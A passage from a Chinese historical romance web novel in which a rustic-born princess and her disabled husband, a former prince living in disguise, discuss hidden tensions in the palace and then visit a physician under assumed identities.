翠花眸光清亮,毫不犹豫地点头:“你让我打听的,我都问清楚了,而且和妹妹们相处得也很好,怪不得大家都说多子多福呢,有兄弟姐妹确实是件挺不错的事儿。”
裴怀彻配合地牵了牵唇角,事实上若非他早已决断出那对双生皇女十之八九对翠花没有恶意,他绝不会放她去与她们之亲近。
如今看来他的判断也算精准,三人既都对权位无心,性情又投契,相处起来倒没什么理由不融洽。
他偶尔应和一声,漫不经心地听她讲述宫中趣闻。
虽局面尽在掌控让他心绪稍安,可思及翠花这般纯善至真,鲜少向人设防的性子,又不免心底泛起隐忧。
作为夫君,他自盼她永如今日这般简单快乐地生活,不去想那么多,也不会有太多烦恼。
可他又恐自己若一味心软,不让她窥见这金碧辉煌下的暗流涌动,反会误了她,令她迟迟得不到成长。
越想越是心神纷杂,裴怀彻的头又隐隐胀痛起来,令他不禁屈指,抵住太阳穴的位置按压。
而他正阖眼蹙眉间,一双温软的小手已悄然覆上他的额际,力道轻柔,循着额线缓缓推按。
翠花绕至他的轮椅后,看着他依然缺乏血色的面庞,语气带了心疼:“又头疼了是不是?我就知道,若不是身子不舒服,你肯定不会在白天主动去歇着。”
裴怀彻长睫低垂,他方才小憩与此刻头疼的缘由皆与她所猜相去甚远,但碍于真实心思不便道明,便也由着她说,没有开口纠正。
翠花为他揉按片刻,忽将双臂柔柔地环过他脖颈,娇软身躯也随之贴近他清瘦的脊背。
察觉身前之人的身体瞬间绷紧,她眼中闪过一抹狡黠笑意,贴在他耳畔软语:“说起来,五妹妹还好奇问我呢,是不是你们男子嘴上说的再正经,身子却都诚实地偏好……这儿丰腴些的。”
裴怀彻顿觉刚缓下的头痛又卷土重来,嗓音微哑:“言多必失,关于我的事,往后与她们能少提便少提。”
翠花却不依,反而凑得更近了一些,软声逼问:“那你到底怎么想的,喜不喜欢嘛?”
裴怀彻被她闹得无法,喉结微动,声线里掺了几分无奈:“……我只觉着,迟早有一日要教你磨死,你说这是喜欢还是不喜欢?”
他不得不承认,于管教“孩子”一事,他确实力不从心。
昔日对待皇侄,他便总觉其年幼,不忍其过早触及皇权和朝堂的阴暗面。
只想将这孩子保护得好些,让其能如那些有父皇庇佑的盛世皇子一样,待羽翼自然丰满,就接手一片海晏河清。
他对皇侄尚且狠不下心肠,又怎么忍心如今不足一个月工夫,就将这个他恨不能护佑一世的小娘子,从岁月静好,未来可期的美梦中唤醒?
怔忡间,他未留意到翠花渐渐抿紧的樱唇。
她静静抱了他片刻,终是闷闷地将脸埋在他肩侧,吞吞吐吐地于他耳畔道:“相公,我心里藏不住事,又没读过书……所以有些事还是想同你商量,但你得答应我,听了只许帮我拿主意,千万别又因此忧心得茶饭不思,行吗?”
裴怀彻侧眸,瞥见她欲言又止的莹润唇瓣,一时未解其意。
便听翠花低声续道:“虽说眼下宫里上下待我都和和气气,也瞧不出谁有坏心,可我总觉得包括母皇在内,很多人都在我面前藏起了什么……我也不晓得该怎么说,就是这宫里的一切,好似都不像我原先想当然的那么简单。”《 》
11、第十一章
裴怀彻正暗自忧心她性子过于纯善,难谙这宫廷之事,冷不丁听她道出这句,心口莫名一紧,下意识便急得变本加厉:“是谁……同你说什么了?”
他原是盼着她能快些成长,毕竟自己双腿落下重残,再不能似从前护着小皇帝那般,也为她将外间的风雨尽数挡下。
可他万万不愿见一切进展得如此之急,如此之快。
她才刚刚认回娘亲,得知了自己金枝玉叶的公主身份,正沉浸在失而复得的血脉亲情里,过着于昔日的她而言,如同梦境般富足安宁的日子……
她被收养她的爹爹毫无保留地宠爱长大,乡亲邻里间虽偶有口角,彼此嚼些口舌,但也多是淳朴人家,鲜少有隔夜的矛盾。
裴怀彻几乎不敢去想,若她此刻便要发觉,莫说那些血脉相连的兄弟姐妹,就连十月怀胎生下她,又苦寻她十八载的娘亲,予她的那份疼爱中亦难免掺杂着利益权衡……她该有多伤心。
自身过往那些阴晦的记忆翻涌而上,他修长的手指无意识地收紧,死死扣住轮椅扶手,手背上青筋隐现,气息也渐渐沉重起来。
从身后环抱着他的翠花立刻察觉了他的异样,心中不由跟着“咯噔”一沉。
她忙不迭绕回他身前,换上一副轻松口吻,试图遮掩:“哎呀,我就随口一说,定是近来吃得太多手中还闲,这才得了空东想西想,你莫当真。”
可她这般稚拙的欲盖弥彰,又岂能瞒过裴怀彻的眼睛?
男人幽深的眸光如网,将她牢牢锁在原地,同时抬手攥住她的手腕,力道略重,带着丝不容挣脱的意味。
翠花挣了两下未果,也恼了:“你做什么呀?都说是我想多了!”
裴怀彻却恍若未闻,面色阴翳如水,眼底也似凝着冰,仍不松手:“你当你招赘的夫君是傻子不成?连你是不是在说笑都分辨不出?”
他不提倒罢,一听他竟还“炫耀”上了自己那八百个心眼子,翠花顿时气不打一处来,狠狠瞪他一眼:“招个傻子倒更省心,好歹能有个白头偕老的盼头,强过某人仗着聪明早早把身子熬垮,让我二十出头就抱着牌坊当俏寡妇!”
裴怀彻眉梢微动,神色僵硬:“……咒我早死,还不忘夸自己貌美?”
翠花哪里舍得咒他,话一出口便悔了,可瞧见他苍白消瘦的脸颊,那点心虚又被一股无名火盖过,索性梗着脖子道:“哪里是我咒你?你摸着心肝说,自打进了这公主府,我是不是眼见着你一日日清减下去,弄得我每日找你用饭不是,不找你更不是!”
裴怀彻瞧出她正在气头上,无奈之余,心底那点因她适才言语而起的慌乱反倒散了几分:“难不成你还想一日三餐堵在我房门口,亲手喂我不成?堂堂公主,成何体统?”
翠花哼了一声,下巴微扬:“我堂堂公主,难道不是在这公主府里,我就是体统吗?我想堵谁就堵谁,想喂谁就喂谁,还怕旁人瞧见?”
裴怀彻深知这会儿是同她讲不通道理的,便顺着她道:“公主殿下既如此说,那不妨请便,府中上下皆是你说了算,我也不敢搞什么特殊。”
翠花岂是这般好打发的,火气更盛:“喂不喂你,怎么喂你,我当然不怕人看,可我……我这些时日不是没顶住好吃好喝的诱惑,把自己吃胖了吗?你瘦了,我还胖了,我怕的别人误会我虐待你,每到饭时便将门一关,抢你饭吃!”
裴怀彻:“……”
他难免语塞,莫说二人如今名分上是公主和面首,尊卑有别,即便她真待他刻薄,府中也无人敢置喙半句。
她这小脑袋瓜里整日又在琢磨些什么,竟能替别人误会到这一层,一位公主,要如何想不开,才会日日跑去面首房中用饭是为了抢食?
他实在不知说什么好,索性垂眸不语,摆出副低眉顺眼的模样,由着她发泄。
说来也怪,经她这般看似胡搅蛮缠地一闹,他心中因忧虑而起的焦灼,反倒奇异地平复了几分。
他家这小娘子素来有这个本事,她越是横眉怒目,蛮不讲理地同他任性,他便越是生不起气来。
他想,归根结底是因她柳眉倒竖,杏眼圆睁的嗔怪模样过于娇憨俏丽,俏得让他这个一度觉得死了更清净的人,如今竟是半点舍不得撒手人寰,唯恐真让她年纪轻轻便做了俏寡妇。
见她脾气正盛,一时半刻绝不可能骂完走人,裴怀彻便放松了钳制她手腕的力道。
她果然立刻抽回手,转而伸出一根纤纤玉指,气鼓鼓地戳向他的鼻尖:“姓淮的,我看你根本就不是脾气好!谁家好性子的相公,会隔三差五就蛮不讲理,非要惹来娘子骂一顿才舒坦?”
裴怀彻的目光顺着她伸出的皓腕悄然滑过,有意无意落在那因气息未平而微微起伏的胸口。
他家的小娘子着实会长,昔日粗茶淡饭仅能勉强果腹时不曾亏了此处,如今说是胖了,别处也依旧纤细,那点丰腴分明全添在了最恰到好处的地方。
怕惹得她更恼,他轻咳一声,强自移开视线,正色道:“明知我追不上你,却话说一半就要跑,害我平白着急,难道也要算成我的不是?”
翠花噎了一下,旋即反应过来,这次自己可不仅是声量大,也是多少占着理的:“分明就是你不对!我们事先说好了的,你不能再茶饭不思地瞎操心,我才肯说的!”
裴怀彻眉心微蹙:“我们……几时说好了?”
翠花一怔,这才想起自己方才只顾着提条件,却一时嘴快,根本没等及他点头应允。
于是原本以为的理直气壮瞬间消了一半,她小脸一垮,娇嫩的小脸蛋儿上尽是懊恼,像是在怨自己怎的这般沉不住气。
裴怀彻见她这般情状,心底的最后一丝郁气也散了。
他轻轻吁了口气,朝她伸出手,语气缓了下来:“好了,不闹了,好不好?”
翠花抬起一双水光潋滟的眸子,不情不愿地蹭过去,任由他再次握住自己的手,小声嘟囔着:“谁同你闹了……瞧着你这些日子吃不下睡不稳,我能不心疼吗?”
名义上他是赘夫,又因腿疾整整两年都只能困在屋内院间,可翠花心知肚明,成为夫妻两年,实则是她依赖他更多。
还算风光地安葬了爹爹,又几乎倾家荡产地请医问药救下他这条命后,她那本就清贫的家更是四壁空空。
是他不仅没有被这入赘进来的寒苦家境吓到,反而有条不紊地持筹握算,与她一同攒下了足够二人盖新房过婚礼的银钱。
当初买下她家那亩薄田的富户,见她无依无靠又貌美,一度动了歪念头,意图待她走投无路再找上门时便顺势纳她为妾,也是他字字铿锵,喝退了富户不甘煮熟的鸭子就这么飞了,派来上门纠缠的家丁。
他毫无惧色地将菜刀掷于那些仗势欺人的家丁们面前,说他的性命为她所救,随时可还,倒是他们,每月不过几百文例钱,真有觉悟为了主子背上人命吗?
而后吃了瘪的富户依然不想善罢甘休,却恰逢家中妻弟吃了官司,是托他写了讼状才得以从轻发落,这方不得不歇了心思,唯恐抢妾不成,于家中先同将他视作恩公的妻子娘家闹得鸡飞狗跳……
总之桩桩件件,翠花如今回想,才惊觉在这次带他入京之前,她往往只负责乐观地给他画饼,许给他日后温饱无忧,儿女绕膝的好日子。
而能够一步步让日子接近她口中的模样,全凭他不动声色地记下了她画过的每一张饼,又在她身后潜移默化地运筹决断。
翠花早已习惯将心中所想毫无保留地说与他听,遇上难处也总是第一时间寻他拿主意。
这一路入京如是,后来她入宫面见母皇归来,正式成了这公主府的主人,一切依然照旧。
柳清姿等人起初瞧不上他,未必没动过将他半路撇下的念头。
返京后便是入府,她连府门都未踏进一步,又匆匆随柳清姿等人入宫觐见母皇,独留他面对这满府极可能也不会对他抱更多有善意的人。
说穿了,是她自己束手无策,便索性全然笃信他都有办法。
可他明明与她一样出身乡野,不过读过书,较她聪慧,也多些人世浮沉的阅历罢了。
而今他竟不只将关乎自身的琐事打理得井井有条,还为她看顾着偌大的公主府,一如既往地为她遮风挡雨,让她这个打民间回来的小村姑,每日只管开开心心地做公主……
她究竟是心有多大,居然直到连狄管家都看不下去了,出言提醒,才惊觉他眉间那丝挥之不去的倦意,其实是因为也没有那么游刃有余了。
思及此,翠花不由又埋怨起了自己这颗不仅粗枝大叶,又藏不住事的心。
稍有不安,便想与他倾诉,纵使如今身份尊贵如公主,说起闲话来,却仍是那个能为了一桩家长里短,就缠着他絮叨半晌的乡野妇人。
方才闹也闹过了,她说到底是心疼他。
此时她鼻尖一酸,眼眶也不受控制地泛起潮意,声音软了下来:“相公,我本以为当了公主,就能让你跟着享清福的。”
裴怀彻低低“嗯”了一声,目光沉淀下来:“这世间哪有什么真正的清福,乡野有乡野的苦,皇亲有皇亲的难,自从遇着你,我已经感觉日子舒心很多了。”
翠花仍纠结地摇头,语气隐隐含着执拗:“但我觉着还不太够,所以你能不能……就当是为了我,多少宽心些,把身子也养得康健些?”
听她说了这许多,裴怀彻怎会还堪不透她的心思?
他抬目迎上她的眸光,绝无半分敷衍之意地正色道:“好,刚刚本也打算依你,谁料你先倒豆子似的,把想说的全说了,说完还怨我出尔反尔,白白同我闹了一场。”
翠花细细一回想自己适才不管不顾同他争执的情形,好像还真是这样。
不过这也不是头一回,准确说,他们之间每次吵架,大抵都是差不多的路数,任凭她闹得再凶再不讲理,他也从来没有抬高过声音对她说话。
翠花泛起一丝心虚,声气亦情不自禁地弱了下去:“方才是我不对,嘴又快心又急……可我不是故意的,除了不愿你劳心,其实也想顺势再提点别的要求来着……”
裴怀彻眉梢微扬,其下深眸似有浅淡笑意掠过:“说说看。”
翠花眨眨眼,措辞略带试探之意:“咱家过去条件差,白石村穷乡僻壤的,也只能找到会治个风寒跌打的赤脚郎中,可现在不同了,我早前就在琢磨,打算寻个靠谱的大夫,好好给你调理一下身体。”
她曾一路寻到镇上,但即便求到医术最高明的那位郎中,对方也只诊出他鬼门关前走过一遭,损及了身体的元气和根基,往后注定大病小病不断,难有安泰时日。
而事实也果真如此,翠花能做的,不过是他每回病时就去抓几帖药,医好了能爽利几日,然后稍有不慎又会病倒,次数多了,竟把二人都磨得有些习惯了。
见他不语,翠花又急急补充:“你上次说我了,我没再把这些可能叫人生疑的话拿出去说,我托去寻大夫的人是狄管家,大夫与他是旧交,不会言明咱们的身份,只说是前些日子家中遭变,前来投奔他的远亲。”
裴怀彻未料她独自与狄管家商量,竟也安排得还算细致,颔首道:“这也依你,还有吗?”
他此刻一副极好说话的模样,翠花便“得寸进尺”地继续提:“确实还有最后一桩事,但这全看你有没有兴致,我只盼着你身子好受些,心中也轻松些,若能,你就应我,若反而为难,那便算了。”
他唇角轻牵:“……莫非带我看完大夫,还想顺路推我去别处走走?”
翠花美目中闪过被猜中心思的诧异,连带语速都快了几分:“你怎么知道?我是想着,府里的马车也改制妥当了,反正咱们借着狄管家亲戚的名头,不会暴露什么……我听五妹妹说附近有个市集,里头好些小吃都很有特色……”
她越说声音越低,像怕他听出言辞间的期待。
裴怀彻对出门其实并无执念,整整两年困于方寸院落,翠花总担心他闷坏,怕他身上的病难愈,又郁郁寡欢地生了心病。
可他只知外面早没了可留恋之物,有她在身旁,余生已别无他求。
不过若能陪她出去走走,他也并不抗拒。
她都不介意被人知道有个残废相公,他这身前身后从不乏构陷和骂名的“谋逆奸臣”,还惧什么旁人眼光?
既是她兴致勃勃,又费心安排的事,他才不会忍心扫她的兴。
于是他再次应下,随即抬起深邃眼眸,望进她果然瞬间亮起来的乌眸里,轻声将话题转开:“现在可以说了吗?此番入宫,可是有人私下找上你,‘提点’了什么?”
在裴怀彻看来,这是最可能的情形。
皇权中心各方势力盘根错节,翠花初来乍到又深得女皇宠爱,难免会有人出于各种目的,向她传达些暗示。
翠花却摇了摇头:“我记着你的话,一直让宝钿跟在身边,也没给人私下寻我的机会,是我自己觉出来的。”
她话音微顿,似在斟酌词句,片刻后才续道:“纵使与母皇和妹妹们相处得很开心,关于你的事,我也必须时刻谨慎着,因而说到某些关节,总会依着你教的话含糊带过,这一点,母皇和妹妹们,好像也是一样的。”《 》
12、第十二章
翠花眼波流转,话匣子一开,便絮絮同他说起宫中发生的事情:“就拿今日同妹妹们闲谈来说,五妹妹嘴甜,说之前从未与彼此之外的兄弟姐妹相处得这般愉快,我自然顺势谦了一句,道‘妹妹真会哄人,如果叫皇太女姐姐和三弟弟听到,该伤心了’,谁知话音才落,五妹妹的脸色便有些不自在,四妹妹也悄悄瞪了她一眼。”
裴怀彻垂眸静听,长睫在眼下投落一片浅淡的影。
他思及先前探得的消息,自然不奇怪郦婵和郦媛二人对那位三皇子讳莫如深,可她们竟与素有贤名的皇太女也存着隔阂,倒叫他颇有几分讶异。
他略一沉吟,声线低沉,如静水流深:“天家子女,若非同父同母,互相心存些芥蒂也不稀奇,不过四皇女与五皇女这般,却似另有隐情。”
翠花点头,鬓边一缕碎发轻晃:“正是呢,我与她们也不是同父所出,她们还挺乐意和我亲近的,反倒是那位与她们一父同胞的三弟弟,她们摆明是一副避之不及的模样,比提起皇太女姐姐更忌讳。”
裴怀彻指尖在轮椅的实木扶手上轻点,若有所思地问:“妹妹们如此,女皇陛下呢?纵使她同样有所保留,在你面前,也应不露端倪才是。”
翠花纤密睫尖轻颤:“母皇可不是滴水不漏?有些事我明明想问,见面前也在心底反复预演提问多回,可真到了她跟前,却总也寻不着时机问出口,一次两次或许是巧合,可关于我生父和皇太女姐姐……许多次了,话头总会不由自主被牵到别处去。”
裴怀彻的右手与她十指交握,左手仍搭在扶手上,指节微屈,似在斟酌词句:“你……很想知道生父的事?”
翠花伸出指尖,在他掌心的薄茧处轻轻勾着:“当然想呀,虽说爹爹待我极好,我从不缺来自爹爹的疼爱,可那毕竟是与母皇一同生下我的人,总会忍不住好奇他是什么模样,什么心性……况且母皇与她给我找的那个和尚后爹之间,也总透着些古怪,我原以为是因她心底始终给我生父留着一席之地。”
裴怀彻眉眼微舒:“古怪?何以见得?”
翠花偏过头,樱唇微嘟,露出些小女儿的不解情态:“我听宫人说,我那和尚后爹入宫多年,却至今仍在很多方面守着僧人清规,不仅日日斋戒礼佛,前朝后宫诸事一概不理,纵是侍寝,也只定在每月初一十五,这两日母皇若传,他便去,若不传,便静候下月,清心寡欲得……都不像已经还俗了。”
这内情同样是裴怀彻未曾料到的,不禁引得他眸光微凝:“这般做派立于后宫,入宫前又仅是个身份寒微的方外之人,竟还能稳居后位,你的弟弟妹妹们也皆他所出?”
翠花显然也是不解,索性下巴颏微扬,半开玩笑地道:“相公,你说有没有一种可能,像这种当皇后当驸马的大造化,其实是成事在天更多些,给神佛哄高兴了,比在俗世里与人绞尽脑汁来得有用。”
裴怀彻一时无语,默然片刻,才无奈道:“……你难道也想我去信点什么?一个月两次,你怕不是想憋死你相公再去守寡。”
翠花吞咽一下,想起他那通常两三日就要一次,她来了月事才通融到五六日的频率,只觉他能有点信仰,适当清心寡欲一下确实不错……
裴怀彻这次到底没有选择用虚言安抚,哄弄着她继续做那个看似安稳的幻梦。
一来是他清楚她不能一味天真,总需学着看清这宫阙内外的幽微繁杂,二来也是他倏然惊觉,他或许一直低估了他的小娘子。
他教她的处世之则,言辞机锋,她往往一点即通,从来不需他重复第二遍。
每逢需将道理付诸实践的时候,她也毫不怯场,反而常能灵巧应变,将他所授之法回旋得恰到好处。
更难得的是,她既不死板拘泥,他说什么便只做什么,全无自己的思虑,亦不会稍有进益便沾沾自喜,继而渐生骄纵,不再听他所言。
同样是接受他的管教,观她如今的模样,小皇帝昔日的后尘,她是一点都没步。
以至裴怀彻不禁于心底生出一个念头,或许他也并非那么不擅教导,当年之所以会闹到小皇帝不惜置他于死地的地步,症结多半系于小皇帝自身。
总之“孩子”若表现得好,总该给予夸赞与奖赏,这个道理裴怀彻还是深谙于心的。
因此对于她接下来的种种安排,他自然从善如流,乖乖配合。
翌日乘马车前往医馆的途中,翠花便将二人更为细致的伪装身份说与他听。
由于狄管家终归不敢占她这个公主的便宜,所以这层“远房亲戚”的名分,就落到了裴怀彻头上。
依照狄管家之前和翠花商量好的说辞,裴怀彻是其表姐的儿子。
看起来有西邦血统是因为父亲确乃昔年至此经商的西邦人,他母亲所托非人,父亲在他出生后不久就抛下妻儿,自此杳无音信,他则直至十二岁那年母亲病故,都随母居于渊国边境。
而她是他两年前娶的小媳妇儿,小两口虽然没什么钱,但郎才女貌的,本也日子和美,她经营些小买卖操持家中,他一边接些抄书的散活儿,一边苦读备考,指望能搏个功名。
奈何天有不测风云,渊国近年动荡不安,他这一身的伤,便是新婚不久欲往省城参加乡试时,路遇匪徒劫道,仓惶逃命间失足坠崖所致。
所幸小娘子不离不弃,一直四处求医问药,这才勉强帮他保住了性命。
可他的双腿却还是落下了严重的残疾,夫妻俩眼看微薄积蓄耗尽,又断了生计,这才不得已前来投奔梁国这位家底颇丰的“远房舅舅”。
翠花显然对这番说辞极为满意,眉眼弯弯,笑意盈然:“这般才好,我又能名正言顺地在外人面前唤你相公了。”
自入了公主府,他一下子从她名正言顺的相公,变成了身份尴尬,位同仆役的通房面首。
他是转换得从容,但凡有旁人在侧,永远恭恭敬敬地称她为公主,反倒是她至今仍耿耿于怀,不甘心竟只能在无人处悄悄唤一声相公。
瞧着小娘子笑靥如花的俏丽模样,裴怀彻也随她浅笑:“没了名分的是我,怎么是你比我更着急?”
翠花乌眸灵动,光彩明亮,亲昵地凑近他些道:“因为要许你名分的人是我呀,我招赘你时不是同你说过吗,待我们攒够了银钱,就盖间新屋,风风光光地补场婚礼,再生几个娃娃……依着原先的盘算,最迟后年这会儿,咱们都要当爹娘了。”
许是自幼见到皇兄为保子嗣绵延康健,不惜三度劳民伤财,举办封禅大典,裴怀彻自身对于孩子一事全无执念,但还是那句话,既是她心念所想,他依她便是。
反正渊国煊王裴怀彻已经“死”得干净,他连曾经的皇室裴姓都舍弃掉了,往后的孩子姓郦也好,姓刘也罢,总归不会再卷入裴家皇族那些他见得越多,就越是厌弃的倾轧纷争之中了。
翠花仿佛要将这些日子少叫的“相公”一口气补足似的,一路上“相公”长“相公”短,嗓音甜得能沁出蜜来。
到了医馆门前,也未见停歇。
他们这辆改制过的马车卸去了繁复的装饰,不仅内里变得更加宽敞,车底还装配了□□隔板,好教轮椅能顺顺当当地推上推下。
在医馆门口迎候的小学徒刚帮着车夫将隔板搭稳,便听车帘内传来了少女的娇脆软语,正同她相公清凌凌地打着趣。
翠花的声音里满是促狭笑意:“相公,下车可比上车难,上车是上坡,我多用些力气便是,总归摔不着你,下车是下坡,你怕不怕我待会儿一个没扯住,让你连人带轮椅栽下去呀?”
她自然是故意逗他。
想当初在白石村,她每日推着沉甸甸的豆腐车往返于村镇之间,不知要经过多少坡坎,裴怀彻连同这把轮椅真不顶她的豆腐车重,况且他这峭壁悬崖都滚过一遭的人,还能不如她车里的豆腐经摔吗?
因此裴怀彻完全不慌,语气平和,甚至含着几分纵容:“无妨,你摔便是,反正为夫如今残了腿,所能依傍的唯你一人,你是骂我,打我,还是摔我,我除了悉听尊便,又没别的法子。”
虽是玩笑话,翠花却听得黛眉轻蹙,红唇一噘,不乐意了:“瞎说什么呀?我疼你还来不及,几时骂你打你了?青天白日的,可别污我清白!”
话音乍听起来似嗔似怨,可细品语气却亲昵非常,分明是小夫妻间蜜里调油的打情骂俏。
这就叫一旁早已从师父处知晓他们情况的学徒瞧在眼里,不免心下惊奇。
医馆这等地方,最是看尽世态炎凉,似这般需人长年照料,生活无法自理的病患,大半要不了多久便会被家人视为累赘。
莫说夫妻,纵是生身父母,也多的是久病床前无孝子,这小娘子年纪轻轻,照料新婚即残的相公两年,却依旧情意绵绵,无半分嫌恶之色,实属难得。
而待他们随学徒进了医馆,见到在此帮衬的曲大夫娘子,对方只将目光在轮椅上的裴怀彻与推着轮椅的翠花间转了个来回,倒是了然。
大夫娘子性情爽利,一见二人,眼前便是一亮,脱口赞道:“哎哟我的天!这小郎君和小娘子莫不是从画里走出来的神仙人物,咋能生得如此标致!”
这家医馆因馆主曲大夫的医术精湛,收费向来不菲,来往贵人亦是不绝,可如他们夫妻这般皆容貌出众的,确是从未有过。
一边领着他们去寻曲大夫,大夫娘子仍赞不绝口:“早先听老狄说起他这外甥,我还道小伙子虽伤了腿,却也是个有福的,娶的小娘子不离不弃,贴心得很,如今一看,小娘子舍不得也难怪,小郎君生得这么俊,搁谁能舍得?”
有人夸自家相公,翠花顿时眉开眼笑,带着点小得意接话:“可不嘛,我们那儿穷乡僻壤,姑娘们嫌他家贫,都不愿嫁,硬生生给他耽搁到了二十八岁,就我瞧得明白,没有银钱可以成亲后再一起赚,但相公若生得不好,可是看一辈子就闹心一辈子的事儿。”
她这段往事讲得半真半假,图他俊美的心思却是实实在在,毕竟当初捡他回家时,他除了一张脸,确也无甚长物。
不料她这番言论,倒意外投了大夫娘子的脾性,惹其朗声笑起来,眼尾漾开细纹:“哈哈,小娘子这想法,和我年轻时候一模一样!家父昔年担当太医院教习,如今宫里头好些御医都是他的学生,可我偏生瞧中了我们家老曲,他那时可是连考七年,都没能通过医学科试。”
翠花与裴怀彻这才知晓,为何曲大夫医术精湛,却并无官身,只在市井间开馆行医。
原是梁国的医学科举不仅考验医术,还须通晓文墨,能作策论。
曲大夫二十岁入太医院备考,几乎是眼睁睁看着后来的师弟师妹们纷纷登科,自己却因始终做不明白那篇千字文章,七年蹉跎。
所幸这七年他也不是一无所获,好歹凭借一表人才赢得了总教习千金的一颗芳心,当时可把老教习气得够呛,直念叨“嫁夫嫁才不嫁色”。
医师娘子忆起往事,眉眼间仍是当年的执拗:“我才不后悔哩,我性子急,脾气大,若不找个我瞧他一眼便能消气的夫君,这辈子怕是要少活二十年!”
翠花听得连连点头,深以为然:“是呀!而且我相公脾气也顶好,有时明明是我无理取闹,和他耍小性子,他也从不说我的不是。”
此时曲大夫尚在诊治其他病人,翠花便捧着医师娘子递来的瓜果炒货,与她相谈甚欢。
裴怀彻则始终安静坐在轮椅上,除非医师娘子问及,否则极少插言,只垂着眼眸细致地给花生瓜子剥壳,然后总会赶在翠花吃完一把欲自己动手前,将剥好的饱满果仁轻轻放入她掌心。
大夫娘子瞧着,眼中泛起柔和笑意,像是透过他们看到了自己的年轻时光:“我原以为,我家老曲年轻时已是极俊俏,极会疼人的了,没成想小郎君不仅生得比他更胜一筹,疼起娘子来,竟也更细致几分。”
翠花连忙摆手,俏皮地压低声音:“您可别这么夸,若让曲大夫听见,待会儿该不乐意给我相公好好瞧病了。”
她见大夫娘子年过五旬仍十指纤纤,便知曲大夫平日定是极为疼爱妻子的,舍不得她操劳。
而依她的经验,这般体贴的夫君虽待娘子好,多半也是个醋坛子,自打上回闹过不快,她可是至今不敢在裴怀彻面前再提姐夫半句。
大夫娘子也不否认,只掩唇轻笑:“一把年纪了,醋劲儿反倒比年轻时还大些,也不怕小辈们笑话。”
说笑归说笑,他们毕竟是狄管家推荐来的,翠花又与大夫娘子颇为投缘,曲大夫于情于理都会尽心医治。
只是待这位年届花甲,仍依稀可见昔日风姿的大夫将手指搭上裴怀彻腕间,神色却渐渐凝重。
沉吟片刻,曲大夫抬眸,缓声探问:“没听你舅舅提起,你还曾习过武?”
裴怀彻心下一紧。
他自然知晓习武之人的脉象与常人有异,静息时更为宽缓沉实,尤其关尺二脉,因气血旺盛,也格外充盈有力,可他重伤至今两载,根本没有条件好生调养,几乎一直在断断续续地生病,那些因练武而得的增益理应消磨殆尽,怎么还会被诊出端倪?
几乎是本能地,他手腕微动,欲要收回。
曲大夫的本意只是想多解病情,好对症下药,没料到他的反应会如此突兀,不禁略带诧异地看向一旁的翠花:“他伤了腿后,便听不得人提这些旧事?”
不料翠花竟也怔在原地,一双杏眼睁得圆圆的,满是惊疑地望向裴怀彻,不解问道:“啊?相公你……还练过武吗?”《 》
13.第十三章
裴怀彻当初何曾想过,这个偏要招他为婿的乡野小村女,竟会是流落民间的梁国公主。
他原以为自己的余生便是与她隐于边陲田园,因此在编造身份一事上,并没有费太多心思。
他只道自己幼年失父,少年丧母,家中既无田无产,便唯有四处做些工活谋生。
能识得几个字,是因曾在丧母后去了一间私塾帮工,教书先生心善,容他在劳作间隙随蒙童习字读书。
这般有一搭没一搭地学,学问自然谈不上精深,却意外练得一手好字,后来年纪大些,又到一富户家中做长工,老爷见他字迹清整,便不时让他做些抄录典籍文书的活计。
他那时尚因遭逢皇侄背刺一事心如死灰,懒得将谎编得多么圆全,能糊弄过翠花和邻里村人便罢。
毕竟他将满身刀伤箭伤说成是山贼所为,他们都信了,这番勉强自圆其说的说法,也无人会深究。
今日翠花携他前来医馆之前,裴怀彻不是没有过顾虑,唯恐这位据闻医术了得的曲大夫查验旧伤,会瞧出端倪。
为此他已在心中已备好说辞,倘被问起,便推说依那伙贼人的衣着来判,极有可能是屡犯边境劫掠的西邦流寇。
想来梁国民间亦有传闻,那些人多凶残成性,若是在其掳掠的行人身上榨不出钱财,便不乏将人当作活靶,供新卒练刀试箭的虐杀行径。
可他毕竟不精医理,万万没料到曲大夫竟不观伤痕,只凭三指搭脉,便道破了他身负习过武的底子。
裴怀彻面上静水无波,心弦却骤然绷紧,连带着呼吸与脉象都乱了一瞬。
曲大夫抬眼,目光在他与翠花之间逡巡,带着几分探究。
翠花亦怔住,睁圆了一双杏眼,澄澈的乌眸里漾满困惑,怔怔地望着他,似是不解自己朝夕相处的夫君,居然还瞒了她这样一段过往。
裴怀彻被这二人盯得心念电转,半晌,才寻得一个含糊的借口:“算是吧……昔日在主家,不止抄书,也曾做过骑奴。”
话音落下,室内倏地一静。
寻常百姓去富贵人家帮工,断无身兼数职之理,除非是签了死契的奴籍。
而“骑奴”更非寻常门第所能豢养,必是勋贵官家方有此需。
那么既卖身予这般人家为奴,自是没什么尊严可论,想来但凡后来得以脱了籍的,都不会愿意再去提这等往事。
曲大夫行医数十载,阅人阅事无数,思及不仅狄管家之前未曾同他提及,翠花此刻也满面愕然,心下便明了七八分。
这后生母亲故去后大抵命途多舛,方才有了段不堪回首的经历,而后或是承蒙主家开恩,或是想出了办法自赎其身,总算还了自由身。
却到底在心里埋了个疙瘩,将这段过往对后来娶到的小娘子,以及此番寻亲前应该也联系不多的“远房舅舅”瞒得密不透风。
曲大夫知情识趣,自不会点破,只将话头轻轻拨回病症上:“若非你早年习武打下些底子,就凭你这外伤未愈,内伤恶化,兼之思虑过重,心血久耗的情形,恐怕都撑不到今日来我这医馆。”
他语气平和,却字字惊心,翠花听得脸色发白,什么习武什么骑奴霎时抛诸脑后,只剩铺天盖地的后怕与心疼,也不待裴怀彻再作应答,纤手已猛地攥住他未诊脉的那只手腕,用力之大,连指尖都透出青白。
曲大夫并非危言耸听,裴怀彻的伤势确也凶险。
他身上所受的皮肉外伤虽看似愈合,内里却根本没有好全,拿这双时不时就要疼一遭,每逢数九寒冬还会变本加厉的双腿来说,其上多处的骨折筋断,当初翠花请来的乡野郎中,着实并未接续妥当。
翠花忆起那时情形,懊悔涌上心头:“在我捡……寻到他之前,从未见过伤得这般重的人,满身是血,身上几乎没几块好肉了,腿上更是有好几处骨头都支了出来,郎中也只说,碎骨拼不回去,只能试着推回肉里,盼着敷些金疮药能把血止住,否则撑不过三五日,命都保不住。”
曲大夫叹息道:“所以他也只是当时保住了性命,内里断骨碎茬未清,筋络亦未归位,加之我观他也并非那种觉着疼便会安分躺在床上的人,再如此耽搁段时日,莫说双腿恐将从内溃烂坏死,单是炎症入体,便足以再要了他的命。”
翠花急在心里,眼眶都红了,泪盈于睫:“那……还能治吗?”
